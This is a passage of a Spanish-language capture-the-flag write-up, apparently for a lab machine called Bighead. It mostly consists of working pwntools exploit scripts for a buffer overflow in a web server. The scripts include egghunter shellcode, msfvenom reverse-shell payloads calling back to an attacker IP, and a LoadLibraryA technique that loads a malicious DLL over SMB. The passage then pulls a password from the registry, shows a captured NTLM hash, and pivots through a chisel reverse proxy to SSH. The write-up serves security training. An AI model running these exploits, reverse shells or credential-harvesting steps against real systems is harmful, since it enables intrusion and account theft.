shellcode += b"\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11"
shellcode += b"\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3"
shellcode += b"\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6"
shellcode += b"\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75"
shellcode += b"\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b"
shellcode += b"\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c"
shellcode += b"\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24"
shellcode += b"\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a"
shellcode += b"\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00"
shellcode += b"\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb"
shellcode += b"\xf0\xb5\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5"
shellcode += b"\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47"
shellcode += b"\x13\x72\x6f\x6a\x00\x53\xff\xd5\x63\x61\x6c"
shellcode += b"\x63\x2e\x65\x78\x65\x00"
payload = egg + shellcode
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
shell.close()
offset = 36
junk = b"A" * offset
jmpesp = p32(0x625012f0)
egghunter = b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = junk + jmpesp + egghunter
content = f"HEAD /{payload.hex()} HTTP/1.1".encode()
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
Al ejecutar el exploit podemos ver que abre una calculadora por lo que ha funcionado
Lo que nos queda es crear un shellcode con msfvenom
que en caso de ejecutarse nos envie una reverse shell
en windows a nuestro host por el puerto 443
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 EXITFUNC=thread -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1965 bytes
shellcode = b""
shellcode += b"\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xbf\x84"
shellcode += b"\x9c\x68\xea\xb1\x52\x31\x7a\x17\x83\xc2\x04"
shellcode += b"\x03\xfe\x8f\x8a\x1f\x02\x47\xc8\xe0\xfa\x98"
shellcode += b"\xad\x69\x1f\xa9\xed\x0e\x54\x9a\xdd\x45\x38"
shellcode += b"\x17\x95\x08\xa8\xac\xdb\x84\xdf\x05\x51\xf3"
shellcode += b"\xee\x96\xca\xc7\x71\x15\x11\x14\x51\x24\xda"
shellcode += b"\x69\x90\x61\x07\x83\xc0\x3a\x43\x36\xf4\x4f"
shellcode += b"\x19\x8b\x7f\x03\x8f\x8b\x9c\xd4\xae\xba\x33"
shellcode += b"\x6e\xe9\x1c\xb2\xa3\x81\x14\xac\xa0\xac\xef"
shellcode += b"\x47\x12\x5a\xee\x81\x6a\xa3\x5d\xec\x42\x56"
shellcode += b"\x9f\x29\x64\x89\xea\x43\x96\x34\xed\x90\xe4"
shellcode += b"\xe2\x78\x02\x4e\x60\xda\xee\x6e\xa5\xbd\x65"
shellcode += b"\x7c\x02\xc9\x21\x61\x95\x1e\x5a\x9d\x1e\xa1"
shellcode += b"\x8c\x17\x64\x86\x08\x73\x3e\xa7\x09\xd9\x91"
shellcode += b"\xd8\x49\x82\x4e\x7d\x02\x2f\x9a\x0c\x49\x38"
shellcode += b"\x6f\x3d\x71\xb8\xe7\x36\x02\x8a\xa8\xec\x8c"
shellcode += b"\xa6\x21\x2b\x4b\xc8\x1b\x8b\xc3\x37\xa4\xec"
shellcode += b"\xca\xf3\xf0\xbc\x64\xd5\x78\x57\x74\xda\xac"
shellcode += b"\xf8\x24\x74\x1f\xb9\x94\x34\xcf\x51\xfe\xba"
shellcode += b"\x30\x41\x01\x11\x59\xe8\xf8\xf2\x6c\xe7\x0c"
shellcode += b"\x0f\x19\xf5\x10\x0e\x62\x70\xf6\x7a\x84\xd5"
shellcode += b"\xa1\x12\x3d\x7c\x39\x82\xc2\xaa\x44\x84\x49"
shellcode += b"\x59\xb9\x4b\xba\x14\xa9\x3c\x4a\x63\x93\xeb"
shellcode += b"\x55\x59\xbb\x70\xc7\x06\x3b\xfe\xf4\x90\x6c"
shellcode += b"\x57\xca\xe8\xf8\x45\x75\x43\x1e\x94\xe3\xac"
shellcode += b"\x9a\x43\xd0\x33\x23\x01\x6c\x10\x33\xdf\x6d"
shellcode += b"\x1c\x67\x8f\x3b\xca\xd1\x69\x92\xbc\x8b\x23"
shellcode += b"\x49\x17\x5b\xb5\xa1\xa8\x1d\xba\xef\x5e\xc1"
shellcode += b"\x0b\x46\x27\xfe\xa4\x0e\xaf\x87\xd8\xae\x50"
shellcode += b"\x52\x59\xde\x1a\xfe\xc8\x77\xc3\x6b\x49\x1a"
shellcode += b"\xf4\x46\x8e\x23\x77\x62\x6f\xd0\x67\x07\x6a"
shellcode += b"\x9c\x2f\xf4\x06\x8d\xc5\xfa\xb5\xae\xcf"
Nuestro script final consta de 2 etapas, la primera peticion simplemente guarda el egg
seguido del shellcode
en algun lugar de la memoria, la segunda desborda el buffer y al saltar al esp
ejecuta el egghunter
, este buscara el egg que es la cadena w00t
2 veces en la memoria y ejecutara lo que esta despues que es el shellcode
#!/usr/bin/python3
from pwn import remote, p32
egg = b"w00t" * 2
shellcode = b""
shellcode += b"\xdb\xd8\xd9\x74\x24\xf4\x5a\x2b\xc9\xbf\x84"
shellcode += b"\x9c\x68\xea\xb1\x52\x31\x7a\x17\x83\xc2\x04"
shellcode += b"\x03\xfe\x8f\x8a\x1f\x02\x47\xc8\xe0\xfa\x98"
shellcode += b"\xad\x69\x1f\xa9\xed\x0e\x54\x9a\xdd\x45\x38"
shellcode += b"\x17\x95\x08\xa8\xac\xdb\x84\xdf\x05\x51\xf3"
shellcode += b"\xee\x96\xca\xc7\x71\x15\x11\x14\x51\x24\xda"
shellcode += b"\x69\x90\x61\x07\x83\xc0\x3a\x43\x36\xf4\x4f"
shellcode += b"\x19\x8b\x7f\x03\x8f\x8b\x9c\xd4\xae\xba\x33"
shellcode += b"\x6e\xe9\x1c\xb2\xa3\x81\x14\xac\xa0\xac\xef"
shellcode += b"\x47\x12\x5a\xee\x81\x6a\xa3\x5d\xec\x42\x56"
shellcode += b"\x9f\x29\x64\x89\xea\x43\x96\x34\xed\x90\xe4"
shellcode += b"\xe2\x78\x02\x4e\x60\xda\xee\x6e\xa5\xbd\x65"
shellcode += b"\x7c\x02\xc9\x21\x61\x95\x1e\x5a\x9d\x1e\xa1"
shellcode += b"\x8c\x17\x64\x86\x08\x73\x3e\xa7\x09\xd9\x91"
shellcode += b"\xd8\x49\x82\x4e\x7d\x02\x2f\x9a\x0c\x49\x38"
shellcode += b"\x6f\x3d\x71\xb8\xe7\x36\x02\x8a\xa8\xec\x8c"
shellcode += b"\xa6\x21\x2b\x4b\xc8\x1b\x8b\xc3\x37\xa4\xec"
shellcode += b"\xca\xf3\xf0\xbc\x64\xd5\x78\x57\x74\xda\xac"
shellcode += b"\xf8\x24\x74\x1f\xb9\x94\x34\xcf\x51\xfe\xba"
shellcode += b"\x30\x41\x01\x11\x59\xe8\xf8\xf2\x6c\xe7\x0c"
shellcode += b"\x0f\x19\xf5\x10\x0e\x62\x70\xf6\x7a\x84\xd5"
shellcode += b"\xa1\x12\x3d\x7c\x39\x82\xc2\xaa\x44\x84\x49"
shellcode += b"\x59\xb9\x4b\xba\x14\xa9\x3c\x4a\x63\x93\xeb"
shellcode += b"\x55\x59\xbb\x70\xc7\x06\x3b\xfe\xf4\x90\x6c"
shellcode += b"\x57\xca\xe8\xf8\x45\x75\x43\x1e\x94\xe3\xac"
shellcode += b"\x9a\x43\xd0\x33\x23\x01\x6c\x10\x33\xdf\x6d"
shellcode += b"\x1c\x67\x8f\x3b\xca\xd1\x69\x92\xbc\x8b\x23"
shellcode += b"\x49\x17\x5b\xb5\xa1\xa8\x1d\xba\xef\x5e\xc1"
shellcode += b"\x0b\x46\x27\xfe\xa4\x0e\xaf\x87\xd8\xae\x50"
shellcode += b"\x52\x59\xde\x1a\xfe\xc8\x77\xc3\x6b\x49\x1a"
shellcode += b"\xf4\x46\x8e\x23\x77\x62\x6f\xd0\x67\x07\x6a"
shellcode += b"\x9c\x2f\xf4\x06\x8d\xc5\xfa\xb5\xae\xcf"
payload = egg + shellcode
content = b"POST / HTTP/1.1\r\n" + payload
shell = remote("dev.bighead.htb", 80)
shell.sendline(content)
shell.close()
offset = 36
junk = b"A" * offset
jmpesp = p32(0x625012f0)
egghunter = b""
egghunter += b"\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
egghunter += b"\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"
payload = junk + jmpesp + egghunter
content = f"HEAD /{payload.hex()} HTTP/1.1".encode()
shell = remote("dev.bighead.htb", 80)
shell.sendline(content)
shell.close()
Ejecutamos el exploit
y envia ambas peticiones, como resultado de explotarlo obtenemos una shell
en el equipo victima como el usuario local nelson
❯ python3 exploit.py
[+] Opening connection to dev.bighead.htb on port 80: Done
[*] Closed connection to dev.bighead.htb port 80
[+] Opening connection to dev.bighead.htb on port 80: Done
[*] Closed connection to dev.bighead.htb port 80
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.112
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\nginx> whoami
piedpiper\nelson
C:\nginx>
Buffer Overflow - loadlibrary
Otra forma de explotarlo es a traves de la función LoadLibraryA
que importa el dll
0:000> !py mona getiat -m bheadsvr.dll -s loadlibrary
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py getiat -m bheadsvr.dll -s loadlibrary
---------- Mona command started on 2024-07-23 00:36:34 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules bheadsvr.dll
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
[+] Preparing output file 'iatsearch.txt'
- (Re)setting logfile C:\mona\iatsearch.txt
Getting IAT for bHeadSvr.dll.
Enumerating IAT
0x625070c8 | At 0x625070c8 in bheadsvr (base + 0x000070c8) : 0x778c0ed0 (ptr to KERNEL32.loadlibrarya) - [KERNEL32] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.22621.3672, 0x4140
1 entries found
La función LoadLibraryA es bastante simple, solo recibe como parametro
el nombre de la libreria, por lo que si la controlamos podemos cargar un dll
malicioso
HMODULE LoadLibraryA(
[in] LPCSTR lpLibFileName
);
Sin embargo para que el exploit sea lo mas pequeño posible necesitariamos enviar la cadena de la ruta smb
en el stack pero entonces nuestras instrucciones no podrian estar ahi, enviemos de nuevo el poc
para analizar el comportamiento
#!/usr/bin/python3
from pwn import remote
offset = 36
junk = b"A" * offset
ret = b"B" * 4
stack = b"C" * 60
payload = junk + ret + stack
content = f"HEAD /{payload.hex()} HTTP/1.1".encode()
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
Nos aprovecharemos de que el valor de retorno de la función strcpy
segun documentación es un puntero al destino por lo que en eax
deberiamos tener un puntero al inicio del payload, asi que podemos saltar a eax
en lugar de esp
0:000> g
(3e74.4288): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=0117fb14 ebx=00000170 ecx=00d71728 edx=01000000 esi=0040194e edi=0040194e
eip=42424242 esp=0117fb3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
42424242 ?? ???
0:000> db eax
0117fb14 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0117fb24 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0117fb34 41 41 41 41 42 42 42 42-43 43 43 43 43 43 43 43 AAAABBBBCCCCCCCC
0117fb44 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0117fb54 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0117fb64 43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43 CCCCCCCCCCCCCCCC
0117fb74 43 43 43 43 00 00 00 00-00 00 00 00 00 00 00 00 CCCC............
0117fb84 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................
Buscamos nuevamente un gadget pero ahora para saltar a eax
como jmp eax
0:000> !py mona jmp -r eax -m bheadsvr.dll
Hold on...
[+] Command used:
!py C:\Users\user\Documents\windbg\x86\mona.py jmp -r eax -m bheadsvr.dll
---------- Mona command started on 2024-07-23 20:37:31 (v2.0, rev 636) ----------
[+] Processing arguments and criteria
- Pointer access level : X
- Only querying modules bheadsvr.dll
[+] Generating module info table, hang on...
- Processing modules
- Done. Let's rock 'n roll.
[+] Querying 1 modules
- Querying module bHeadSvr.dll
- Search complete, processing results
[+] Preparing output file 'jmp.txt'
- (Re)setting logfile C:\mona\jmp.txt
[+] Writing results to C:\mona\jmp.txt
- Number of pointers of type 'jmp eax' : 1
- Number of pointers of type 'call eax' : 6
[+] Results :
0x625012f2 | 0x625012f2 : jmp eax | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x62501026 | 0x62501026 : call eax | ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x625010e8 | 0x625010e8 : call eax | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x625012b6 | 0x625012b6 : call eax | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x62501420 | 0x62501420 : call eax | asciiprint,ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x6250154f | 0x6250154f : call eax | asciiprint,ascii {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
0x625015e2 | 0x625015e2 : call eax | {PAGE_EXECUTE_READ} [bHeadSvr.dll] ASLR: False, Rebase: False, SafeSEH: False, CFG: False, OS: False, v-1.0-, 0x0
Found a total of 7 pointers
Enviaremos la string de la ruta smb al dll
en el stack por lo que nuestro payload a ejecutar es muy simple, empujamos esp
para que ahora el primer dword
sea un puntero a la string, luego movemos a eax
la función LoadLibraryA
y la llamamos
dll = b""
dll += asm("push esp")
dll += asm("call [0x625070c8]")
Nuestro exploit ahora se ve de esta forma, en el inicio del payload enviamos las instrucciones a ejecutar, rellenamos y en el retorno saltamos a ellas, pero en el stack después del retorno se encuentra la string a la dll
en el recurso smb
#!/usr/bin/python3
from pwn import remote, p32, asm
dll = b""
dll += asm("push esp")
dll += asm("call [0x625070c8]")
offset = 36
junk = b"A" * (offset - len(dll))
jmpeax = p32(0x625012f2)
smb = b"\\\\192.168.233.129\\user\\shell.dll"
payload = dll + junk + jmpeax + smb
content = f"HEAD /{payload.hex()} HTTP/1.1".encode()
shell = remote("192.168.100.5", 8008)
shell.sendline(content)
Ahora podemos simplemente crear una dll
maliciosa que nos ejecute una calculadora, luego la compartimos a través de un recurso smb con smbserver
❯ msfvenom -p windows/exec CMD=calc.exe -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll
❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Establecemos un breakpoint en jmp eax
, al ejecutar el exploit llegamos ahi y vemos que en el stack se encuentra la cadena, pero al saltar a la llamada de la función LoadLibraryA
ahora en el stack no se encuentra la cadena sino un puntero a ella
0:000> bp 0x625012f2
0:000> g
Breakpoint 0 hit
eax=00f3fb14 ebx=00000174 ecx=00d3170c edx=01000000 esi=0040194e edi=0040194e
eip=625012f2 esp=00f3fb3c ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
bHeadSvr!EssentialFunc2+0x5:
625012f2 ffe0 jmp eax {00f3fb14}
0:000> da esp
00f3fb3c "\\192.168.233.129\user\shell.dll"
0:000> pc
eax=00f3fb14 ebx=00000174 ecx=00d3170c edx=01000000 esi=0040194e edi=0040194e
eip=00f3fb15 esp=00f3fb38 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246
00f3fb15 ff15c8705062 call dword ptr [bHeadSvr!EssentialFunc14+0x5cf0 (625070c8)] ds:002b:625070c8={KERNEL32!LoadLibraryAStub (778c0ed0)}
0:000> da poi(esp)
00f3fb3c "\\192.168.233.129\user\shell.dll"
Si continuamos la ejecución carga la dll
maliciosa y abre una calculadora
Nuestro exploit final seria el siguiente, guarda la referencia a nuestra ruta smb
del dll en esp
como argumento y ejecuta LoadLibraryA
para que cargue el dll malicioso
#!/usr/bin/python3
from pwn import remote, p32, asm
dll = b""
dll += asm("push esp")
dll += asm("call [0x625070c8]")
offset = 36
junk = b"A" * (offset - len(dll))
jmpeax = p32(0x625012f2)
smb = b"\\\\10.10.14.10\\user\\shell.dll"
payload = dll + junk + jmpeax + smb
content = f"HEAD /{payload.hex()} HTTP/1.1".encode()
shell = remote("dev.bighead.htb", 80)
shell.sendline(content)
Creamos el dll malicioso con msfvenom
para que en caso de ejecutarse nos envie una shell
y lo compartimos con un servidor smb
como se indica en el exploit
❯ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 -f dll -o shell.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 1786 bytes
Final size of dll file: 9216 bytes
Saved as: shell.dll
❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Al enviar el exploit recibimos una petición en nuestro servidor smb
del usuario nelson que carga el dll
y al interpretarlo tambien recibimos una shell
como este
❯ impacket-smbserver user . -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.112,49188)
[*] AUTHENTICATE_MESSAGE (PIEDPIPER\Nelson,PIEDPIPER)
[*] User PIEDPIPER\Nelson authenticated successfully
[*] Nelson::PIEDPIPER:aaaaaaaaaaaaaaaa:0785c9eba0cea74625b2dac1462c6203:0101000000000000009f4868d107da01a67a6675c53e3e22000000000100100047004f0072005a005100770051004b000300100047004f0072005a005100770051004b000200100079004f006e006300420058005a0067000400100079004f006e006300420058005a00670007000800009f4868d107da010600040002000000080030003000000000000000000000000020000056912fbf6f69c4c060774a884c4dafb82c032815e7ec7c56ed6a55e7ad2225d0000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:user)
[*] Disconnecting Share(1:IPC$)
[*] Disconnecting Share(2:user)
[*] Closing down connection (10.10.10.112,49188)
[*] Remaining connections []
❯ sudo netcat -lvnp 443
Listening on 0.0.0.0 443
Connection received on 10.10.10.112
Microsoft Windows [Version 6.0.6002]
Copyright (c) 2006 Microsoft Corporation. All rights reserved.
C:\nginx> whoami
piedpiper\nelson
C:\nginx>
Shell - nginx
Aunque existe el archivo user.txt
en el escritorio de nelson no es lo que esperamos
PS C:\Users\Nelson\Desktop> type user.txt
.-''-. .-------. .---. .-./`) _______ .---. .---.
.'_ _ \ | _ _ \ | ,_| \ .-.') / __ \ | | |_ _|
/ ( ` ) '| ( ' ) | ,-./ ) / `-' \ | ,_/ \__) | | ( ' )
. (_ o _) ||(_ o _) / \ '_ '`) `-'`"`,-./ ) | '-(_{;}_)
| (_,_)___|| (_,_).' __ > (_) ) .---. \ '_ '`) | (_,_)
' \ .---.| |\ \ | |( . .-' | | > (_) ) __ | _ _--. |
\ `-' /| | \ `' / `-'`-'|___ | | ( . .-'_/ )|( ' ) | |
\ / | | \ / | \| | `-'`-' / (_{;}_)| |
`'-..-' ''-' `'-' `--------`'---' `._____.' '(_,_) '---'
.---. ,-----. ,---. ,---. .-''-. .-'''-.
| ,_| .' .-, '. | / | | .'_ _ \ / _ \
,-./ ) / ,-.| \ _ \ | | | .'/ ( ` ) ' (`' )/`--'
\ '_ '`) ; \ '_ / | :| | _ | |. (_ o _) |(_ o _).
> (_) ) | _`,/ \ _/ || _( )_ || (_,_)___| (_,_). '.
( . .-' : ( '\_/ \ ;\ (_ o._) /' \ .---..---. \ :
`-'`-'|___\ `"/ \ ) / \ (_,_) / \ `-' /\ `-' |
| \'. \_/``".' \ / \ / \ /
`--------` '-----' `---` `'-..-' `-...-'
,---------. .---. .---. .-''-.
\ \| | |_ _| .'_ _ \
`--. ,---'| | ( ' ) / ( ` ) '
| \ | '-(_{;}_). (_ o _) |
:_ _: | (_,_) | (_,_)___|
(_I_) | _ _--. | ' \ .---.
(_(=)_) |( ' ) | | \ `-' /
(_I_) (_{;}_)| | \ /
'---' '(_,_) '---' `'-..-'
.---. .---. ____ .-'''-. .---. .---.
.-, | | |_ _| .' __ `. / _ \| | |_ _|
,-.| \ _ | | ( ' ) / ' \ \ (`' )/`--'| | ( ' )
\ '_ / | | '-(_{;}_)|___| / |(_ o _). | '-(_{;}_)
_`,/ \ _/ | (_,_) _.-` | (_,_). '. | (_,_)
( '\_/ \ | _ _--. | .' _ |.---. \ :| _ _--. |
`"/ \ ) |( ' ) | | | _( )_ |\ `-' ||( ' ) | |
\_/``" (_{;}_)| | \ (_ o _) / \ / (_{;}_)| |
'(_,_) '---' '.(_,_).' `-...-' '(_,_) '---'
PS C:\Users\Nelson\Desktop>
Mirando los procesos vemos corriendo BvSshServer
que ocupa el puerto local 2020
PS C:\Users\Nelson\Desktop> Get-Process
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
74 4 1740 4580 54 0.02 3504 BigheadWebSvr
118 7 4276 13140 88 1724 BssCtrl
171 9 4472 12100 86 1632 BvSshServer
20 1 2472 2604 23 0.11 1328 cmd
251 7 5504 7632 107 520 csrss
251 8 5972 12748 74 2968 dllhost
.......................................................................
PS C:\Users\Nelson\Desktop> netstat -nat
Active Connections
Proto Local Address Foreign Address State Offload State
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:80 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:2020 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:5357 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:8018 0.0.0.0:0 LISTENING InHost
TCP 0.0.0.0:8028 0.0.0.0:0 LISTENING InHost
....................................................................................
PS C:\Users\Nelson\Desktop>
Usando reg
podemos enumerar recursivamente registros HKLM
que contengan la string password
, varios de los registros que encontramos pertenecen a nginx
PS C:\Users\Nelson\Desktop> reg query HKLM /f password /t REG_SZ /s
HKEY_LOCAL_MACHINE\SOFTWARE\Classes\kdbxfile\shell\open
(Default) REG_SZ &Open with KeePass Password Safe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx
PasswordHash REG_SZ 336d72676e6333205361797a205472794861726465722e2e2e203b440a
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\nginx
PasswordHash REG_SZ 336d72676e6333205361797a205472794861726465722e2e2e203b440a
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\nginx
PasswordHash REG_SZ 336d72676e6333205361797a205472794861726465722e2e2e203b440a
End of search: 47 match(es) found.
PS C:\Users\Nelson\Desktop>
El valor PasswordHash
de estos registros parece ser una cadena en hexadecimal
, podemos decodearla usando xxd
en bash pero el resultado no nos aporta nada
❯ echo 336d72676e6333205361797a205472794861726465722e2e2e203b440a | xxd -ps -r
3mrgnc3 Sayz TryHarder... ;D
Mirando la key podemos encontrar un valor Authenticate
que parece hexadecimal
PS C:\Users\Nelson\Desktop> reg query HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx
Type REG_DWORD 0x10
Start REG_DWORD 0x2
ErrorControl REG_DWORD 0x1
ImagePath REG_EXPAND_SZ C:\Program Files\nssm\win32\nssm.exe
DisplayName REG_SZ Nginx
ObjectName REG_SZ .\nginx
Description REG_SZ Nginx web server and proxy.
DelayedAutostart REG_DWORD 0x0
FailureActionsOnNonCrashFailures REG_DWORD 0x1
FailureActions REG_BINARY 00000000000000000000000003000000140000000100000060EA00000100000060EA00000100000060EA0000
Authenticate REG_BINARY 4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000
PasswordHash REG_SZ 336d72676e6333205361797a205472794861726465722e2e2e203b440a
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx\Enum
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\nginx\Parameters
PS C:\Users\Nelson\Desktop>
Al decodear esta cadena encontramos algo que parece ser una contraseña
, tal vez podriamos usarla como usuario nginx para BvSshServer
en el puerto 2020
❯ echo 4800370033004200700055005900320055007100390055002D005900750067007900740035004600590055006200590030002D0055003800370074003800370000000000 | xxd -ps -r
H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87
Como desde fuera no tenemos acceso crearemos un proxy
tipo socks con chisel
PS C:\ProgramData> .\chisel.exe client 10.10.14.10:9999 R:socks
❯ chisel server --reverse --port 9999
server: Reverse tunnelling enabled
server: Listening on http://0.0.0.0:9999
server: session#1: tun: proxy#R:127.0.0.1:1080=>socks: Listening
Ahora pasando por el proxy con proxychains
podemos conectarnos al puerto 2020 con ssh
como el usuario nginx
y la contraseña que obtuvimos de la cadena en hex
❯ proxychains -q ssh nginx@bighead.htb -p 2020
nginx@bighead.htb's password: H73BpUY2Uq9U-Yugyt5FYUbY0-U87t87
bvshell:/$
Shell - Administrator
Aunque tenemos acceso a una bvshell
bastante restringida podemos ver varios archivos interesantes que parecen ser el codigo fuente
de algun servidor web
bvshell:/apps/testlink/htdocs$ ls -l
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 601 2018-04-14 08:07 BUYING_SUPPORT.TXT
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:53 cfg
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 306612 2018-04-14 09:05 CHANGELOG
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 558 2018-04-14 08:07 CODE_REUSE
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 78934 2018-06-24 18:53 config.inc.php
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 183 2018-06-24 18:53 config_db.inc.php
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:52 custom
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 12230 2018-04-14 08:07 custom_config.inc.php.example
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 1038 2018-04-14 08:07 custom_config.inc.php.example.github_oauth
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:53 docs
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 1112 2018-04-14 08:07 error.php
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:52 extra
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 5546 2018-04-14 08:07 firstLogin.php
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:52 gui
-rw-rw---- 1 Administrators@BUILTIN None@PIEDPIPER 3145 2018-04-14 08:07 index.php
drwxrwx--- 1 Administrators@BUILTIN None@PIEDPIPER 0 2018-06-24 18:53 lib
